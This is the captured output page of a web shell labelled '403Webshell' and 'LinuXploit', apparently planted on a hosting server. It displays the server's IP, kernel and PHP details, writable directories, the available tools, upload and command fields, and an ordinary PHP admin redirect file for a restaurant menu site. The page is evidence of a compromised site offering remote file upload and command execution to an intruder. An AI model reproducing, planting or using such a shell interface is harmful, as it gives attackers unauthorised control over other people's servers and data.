403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/menu.php
<?php
declare(strict_types=1);
/** POLANA V18: legacy links now lead to the existing unified menu editor. */
require_once dirname(__DIR__).'/includes/functions.php';
require_login();
$role=(string)(admin_user()['role']??'');
if (!in_array($role,['admin','editor'],true)) {http_response_code(403);exit('Brak uprawnieĊ„.');}
$id=(int)($_GET['id']??0);
if ($id<1) {redirect('/admin/menus.php');}
$q=db()->prepare('SELECT menu_type FROM menus WHERE id=? LIMIT 1');
$q->execute([$id]);$type=$q->fetchColumn();
if ($type===false) {http_response_code(404);exit('Nie znaleziono karty menu.');}
if (!in_array($type,['food','soft','wine'],true))$type='food';
redirect('/admin/polana-menu-centrum.php?'.http_build_query(['type'=>$type,'menu_id'=>$id]));

Youez - 2016 - github.com/yon3zu
LinuXploit